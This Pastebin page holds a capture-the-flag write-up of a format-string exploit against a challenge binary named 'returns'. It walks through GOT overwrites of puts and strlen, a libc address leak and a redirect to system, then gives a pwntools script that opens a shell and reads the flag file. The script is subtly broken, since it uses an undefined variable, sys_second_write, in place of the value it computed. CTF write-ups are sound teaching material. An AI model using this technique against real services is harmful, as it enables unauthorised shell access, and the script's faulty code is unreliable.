Advertisement
AMACB

Returns Writeup

Apr 24th, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.43 KB | None | 0 0
  1. 1. Overwrite the GOT entry for `puts` to the address of `main`
  2. Because `puts` is only called right before the end of `main`, we now get a loop where we can do more malicious printf's
  3.  
  4. 2. Leak libc using `%lx`.
  5. If you use the string `%2$lx`, you will get an address that is a fixed distance away from libc, and thus you can calculate where `system` and other libc methods are located. (Note that this offset may be different on various versions of libc, so make sure you use the libc.so.6 provided)
  6.  
  7. 3. Overwrite the GOT entry for `strlen` to the calculated address for `system`.
  8. Notice that `strlen` is called on our user controlled string every time through `main`. Therefore, after this overwrite, we can simply pass '/bin/sh' as our input string, and voila, a shell!
  9.  
  10. There are some technical details that I will briefly mention.
  11. - Our string for `printf` cannot contain any null characters, but the address we want to write to for step 1 has a null. However, the code manually writes a null byte to the end of our string, so we can use this to get a null byte in our target address. Unfortunately, this means that we can only really do one overwrite per cycle through `main`, and if we do, say, a partial overwrite that results in an invalid address, we will segfault before getting to finish the partial overwrite.
  12. - For step 3, the address of system in libc is very large, and we only get one actual overwrite as mentioned by the previous note. However, the more significant four bytes are the same for system as in our original targetted address, so we only need to write to the lesser significant bits.
  13.  
  14. Here is our really crappy exploit script. Yes, it is really crappy.
  15.  
  16. from pwn import *
  17.  
  18. def pad(s):
  19. l = len(s)
  20. if l > 16:
  21. raise ValueError("Need to increase padding amount")
  22. else:
  23. return s + " "*(16-l) + ":%lx:end"
  24.  
  25. p = process('/problems/2019/returns/returns')
  26.  
  27. # Step 1: Overwrite puts to main()
  28. exploit1 = "%{}x%11$n".format(0x4011a6)
  29. exploit1 = pad(exploit1)
  30. # the `ff` is present because the code will manually overwrite this to a null byte
  31. exploit1 += p64(0x00000000ff404018)
  32. p.sendline(exploit1)
  33.  
  34. p.clean()
  35.  
  36. # Step 2: Leak LIBC
  37. p.sendline("%2$lx")
  38. # if the server is running slowly, this will time out and give an error in the `leaked = ...` line
  39. d = p.recv()
  40. leaked = int(d.split(" ")[5][:-1],16)
  41. print "LEAKED", hex(leaked)
  42.  
  43. # calculated by inspecting memory in GDB
  44. system_offset = 0x3813f0
  45.  
  46. system = leaked - system_offset
  47. print "SYSTEM", hex(system)
  48. sys_lesser_significant_bytes = system % (1<<32)
  49.  
  50. print "WANT TO WRITE"
  51. print hex(sys_lesser_significant_bytes)
  52.  
  53. # This checks to see if our system address to write
  54. # is relatively small, so there won't necessarily be a bajillion spaces printed out
  55. # In fact, python will likely run out of memory on the shell if we try to write anything
  56. # larger than this
  57. if sys_second_write >= 0x1000000:
  58. print "Run again"
  59. exit(0)
  60.  
  61. # Step 3: Overwrite strlen to system
  62. exploit2 = "%{}x%11$n".format(sys_second_write)
  63. exploit2 = pad(exploit2)
  64. exploit2 += p64(0x00000000ff404020)
  65.  
  66. p.sendline(exploit2)
  67.  
  68. # When the server is running slowly, this long timeout is actually necessary
  69. # to clean out the huge number of spaces that are printed
  70. p.clean(timeout=1)
  71.  
  72. # Send /bin/sh, which will be called by strlen -> system, which gives us a shell
  73. p.sendline("/bin/sh")
  74. p.sendline("cat /problems/2019/returns/flag.txt")
  75.  
  76. print p.recv()
  77. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement